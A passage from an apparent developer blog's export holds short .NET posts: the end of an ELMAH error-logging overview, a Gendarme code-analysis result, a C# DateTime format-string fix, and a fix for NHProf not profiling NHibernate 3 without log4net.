<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjydUI_5EOkwNUUTBePBV0mR7Pmde_V46fPI3EmqYxqHmdoM8pitekj_HTTLyPsfbR6nvZgq354nq7L5c2OKmNeZRVr4KS-zz0s0L9oSj8merGH4o6qtdrIJzACi4u-Iu6EBUPRoVbbDbP1/s1600/2011-07-11+08h57_12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="460" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjydUI_5EOkwNUUTBePBV0mR7Pmde_V46fPI3EmqYxqHmdoM8pitekj_HTTLyPsfbR6nvZgq354nq7L5c2OKmNeZRVr4KS-zz0s0L9oSj8merGH4o6qtdrIJzACi4u-Iu6EBUPRoVbbDbP1/s640/2011-07-11+08h57_12.png" width="640" /></a></div><b></b><br />
<br />
At the same time the ELMAH module has captured this exception along with all related data and gives you simple web access to the recent errors logged (by default at /elmah.axd)<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBznSymouB0ijhtrWNn7_A67QofzGmPFRezdJ_OQVOK0tfeVXlFB02SrsuTjrwFD3QJ4YVv5NPf9-WS8HboRCDWZHS7FGEEB9LTS7kxyW7nqi1a158fIJNK2cwkgxD24MRMxJ_MRhxB7IN/s1600/2011-07-11+08h57_26.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBznSymouB0ijhtrWNn7_A67QofzGmPFRezdJ_OQVOK0tfeVXlFB02SrsuTjrwFD3QJ4YVv5NPf9-WS8HboRCDWZHS7FGEEB9LTS7kxyW7nqi1a158fIJNK2cwkgxD24MRMxJ_MRhxB7IN/s640/2011-07-11+08h57_26.png" width="640" /></a></div><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiKzEkOGor8Bisshmi4txHrASPMbZTHjvfPxgrjEJfmSufZOczox8clMJdRN9lvLX22gXwZmL3qzmgkqSeUiO5YKoO5DyK0tv5jrvsu9ta6e2hlBK6018YSbbL1dRj4uPy9-_1F8GH7KMW/s1600/2011-07-11+08h57_59.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiKzEkOGor8Bisshmi4txHrASPMbZTHjvfPxgrjEJfmSufZOczox8clMJdRN9lvLX22gXwZmL3qzmgkqSeUiO5YKoO5DyK0tv5jrvsu9ta6e2hlBK6018YSbbL1dRj4uPy9-_1F8GH7KMW/s640/2011-07-11+08h57_59.png" width="551" /></a></div><br />
<br />
<br />
<br />
<br />
<b>Configuration</b><br />
<br />
By default ELMAH stores logs in memory, but it supports XML and database storages.<br />
Go back to the NuGet package manager and select one of these additional packages: 'ELMA on XML Log', 'ELMA on MS Sql Server Compact', 'ELMAH on MongoDB', etc.<br />
<br />
The selected storage appears in <elmah> sections in Web.config:</elmah><br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXJocxGwk2_2qBXeNAas-xRayhVKVVjTKnsowiWcsUFZ0Jg5fdyBNGUOEb0-ccFRURMQaQLY82-HBS20zwxCM9vSZ3Bh4y2mPEfILXQBQGp6xinSf_agUbbCmlq4BbtwPXrgNCLff5z9AX/s1600/2011-07-11+09h19_52.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXJocxGwk2_2qBXeNAas-xRayhVKVVjTKnsowiWcsUFZ0Jg5fdyBNGUOEb0-ccFRURMQaQLY82-HBS20zwxCM9vSZ3Bh4y2mPEfILXQBQGp6xinSf_agUbbCmlq4BbtwPXrgNCLff5z9AX/s1600/2011-07-11+09h19_52.png" /></a></div><br />
<br />
I assume that it is possible to implement a custom logger by deriving the <i>Elmah.ErrorLog </i>class<br />
<br />
<b>Log an expected exception</b><br />
<br />
ELMAH allows to log<b> </b>any exception from your code.<br />
<br />
For example if you have a code flow which might throw an exception and you gracefully handle it (e.g. with a <i>try/catch</i> block). Such a swallowed exception will not be propagated and logged by the ELMAH module. For such a case ELMAH provides the <i>ErrorSignal</i> API:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqAyYFleFybTkSgYhrPo6yx092WGO-F_l1bTZHETP7kyP_0UdIXs1u_-g4Cf4hL2Gjx2ISxZjw8rtVXb4OZ75PvzScJSgegprRh_zebe1VJC4F_aefyQ-Rz7NRORu4s2YzOfZ9K_y9bQq4/s1600/2011-07-11+09h34_28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqAyYFleFybTkSgYhrPo6yx092WGO-F_l1bTZHETP7kyP_0UdIXs1u_-g4Cf4hL2Gjx2ISxZjw8rtVXb4OZ75PvzScJSgegprRh_zebe1VJC4F_aefyQ-Rz7NRORu4s2YzOfZ9K_y9bQq4/s1600/2011-07-11+09h34_28.png" /></a></div><br />
<br />
<br />
<b>More features</b><br />
<br />
<b> </b>ELMAH has a lot more features, which are not part of this short overview. You can:<br />
<br />
<ul><li>Filter unwanted exceptions, programmatically and via configuration. </li>
<li>Get a digest RSS feed that lists errors by day and up to last 15 days. </li>
<li>Send error notifications as tweets to Twitter.</li>
<li>Send an e-mail notification of each error at the time it occurs. </li>
<li>and <a href="http://code.google.com/p/elmah/">more</a>... </li>
</ul>Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com1tag:blogger.com,1999:blog-5201357166850736293.post-8187735724025646042011-03-10T03:46:00.000-08:002011-03-10T03:46:07.732-08:00Mono's Gendarme<a href="http://www.mono-project.com/Gendarme">Gendarme</a> is a extensible rule-based tool to find problems in .NET applications and libraries. Gendarme inspects programs and libraries that contain code in ECMA CIL format (Mono and .NET) and looks for common problems with the code, problems that compiler do not typically check or have not historically checked.<br />
<br />
I ran this tool against my <a href="http://www.izwebfilemanager.com/">IZWebFileManager</a>. The result was 1213 potential defects using 254 rules!:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW45IYFI24CEM0Ep3XPiYvxnbBPLzQIakYHex5Kpg7kNEgpFmEBnzqV6Kk0YoRDn2K8sqMH68Xubc1v6CkE3TgjYJGXiX0_kn4Z8ekxVMsnH5q5-K1vuHuaJ-3cLl2h9MRBBR-k8dfO1ZZ/s1600/2011-03-10+13h35_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="507" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW45IYFI24CEM0Ep3XPiYvxnbBPLzQIakYHex5Kpg7kNEgpFmEBnzqV6Kk0YoRDn2K8sqMH68Xubc1v6CkE3TgjYJGXiX0_kn4Z8ekxVMsnH5q5-K1vuHuaJ-3cLl2h9MRBBR-k8dfO1ZZ/s640/2011-03-10+13h35_01.png" width="640" /></a></div><br />
<br />
Seems I have a lot of work here.Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com1tag:blogger.com,1999:blog-5201357166850736293.post-53036815974826608402011-02-28T22:25:00.000-08:002011-03-03T01:01:42.943-08:00DateTime formatting in C#I use a custom format to show DateTime to user: "dd/MM/yyyy".<br />
<br />
<pre>var nowString = now.ToString("dd/MM/yyyy");
</pre><br />
The reason, I use the custom formatting, is to be not depended on user regional settings.<br />
<br />
So, no matter what user's locale is, I expect the same format for a date.<br />
<br />
But today I found that it does not work as I expect. On one of the target machines I got "28.02.2011" instead of expected "28/02/2011".<br />
<br />
Why slash (/) is replaced by dot (.)? Is format string not enough explicit?<br />
<br />
I got the answer on MSDN (RTFM!): The slash (/) is not a literal, but a pattern for the default date separator defined in DateTimeFormatInfo.DateSeparator. It has to be escaped (leading with back slash (\)), for being reproduced literally.<br />
<br />
I fix my format string to be @"dd\/MM\/yyyy"<br />
<br />
<pre>var nowString = now.ToString(@"dd\/MM\/yyyy");
</pre><br />
Now it works!Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-4742889949888039012011-02-27T01:30:00.000-08:002011-07-14T03:02:56.686-07:00Profiling NHibernate 3 application with NHProf<a href="http://nhprof.com/">NHProf </a>is a great too for profiling a <a href="http://nhforge.org/">NHibernate</a> application. It is powerful and easy to use.<br />
<br />
I used it for a long time, but recently I ran into troubles when I tried to capture DB queries in my newly started web application using NHibernate 3.0.<br />
<br />
As many times before I downloaded latest NHibernate release, created a new web application, added a references to NHibernate.dll and all dependencies, added a reference to HibernatingRhinos.Profiler.Appender.dll and put a code, initializing NHProf - <span style="font-style: italic;">HibernatingRhinos.Profiler.Appender.NHibernate.NHibernateProfiler.Initialize(); </span> in Application_Start.<br />
<br />
<a name='more'></a><br />
<br />
After all that I expected NHPfrof be working smoothly, but all what I got was NHPfor window with no record, but indicating my application is being profiled:<br />
<br />
<a href="https://picasaweb.google.com/lh/photo/JJdcGkNvI4DykWO5XfxK0TgAANDkdsfZKq9zdjvyQwU?feat=embedwebsite"><img height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpJJ_xs3RkQEfheIg5023ATiHogl_hPWImg2tIfO-NI7whImdi9UCtgyzmUU9otGJjBGeRtKZ-MlhlqdpB2XuTM6sCOhEOr1AGHfrE7ldTJuxWYHE4lh7KVWUfpHNtxvwmAAGHuP_8RJAF/s640/2011-02-27%2011h51_44.png" width="640" /></a><br />
<br />
It was strange!<br />
<br />
Since it was my first application using NHibernate 3, I though it is a compatibility issue of NHibernate. But then I took one of my previous applications, upgraded it to use NHibernate 3.0 - and this one was profiled perfect.<br />
<br />
I started to look at differences between two applications. Both looked similar, except one detail - all my previous application have reference to <span style="font-weight: bold;">log4net.dll</span>.<br />
<br />
Of course! NHProf use logging interceptions to capture NHibernate logs. It relies on log4net is exists in my application. After I added a reference to log4net.dll (and ensured it's copied to the 'bin' directory), it worked fine.<br />
<br />
The problem had been solved, but I still was interesting, why I did not get such a problem with my previous projects. The answer was found with <a href="http://www.red-gate.com/products/dotnet-development/reflector/">reflector</a> (amazing tool, BTW).<br />
<br />
I figured out that NHibernate 3.0 download does not contain log4net.dll, and NHibernate.dll does not reference to log4net.dll either:<br />
<br />
<a href="https://picasaweb.google.com/lh/photo/C4ZZ_pUZXrA0tPaE2pm0fDgAANDkdsfZKq9zdjvyQwU?feat=embedwebsite"><img height="551" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU8ZU6h41UdITJmRDOcudPNGuBNUwsPZ7Zm6-nodk3yDJfAVmPuvI4SqkjU2Kg4OCf5i70ovjFdRxuwng6u5hkeCxFZN3kTxBW5vG3902GAjWnU7VBeZCnNoUmStwI9-WBmKIl5sJXT9ns/s640/2011-02-27%2012h37_58.png" width="640" /></a><br />
<br />
It allowed me to run my application with no log4net.<br />
<br />
If I used NHibernate 2.x with no log4net.dll , I would get an exception at runtime. That why all my previous application have explicit reference to log4net, and I never got a troubled with NHProf.<br />
<br />
Conclusion: Don't forget to add log4net to your project, if you using NHibernate 3!Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0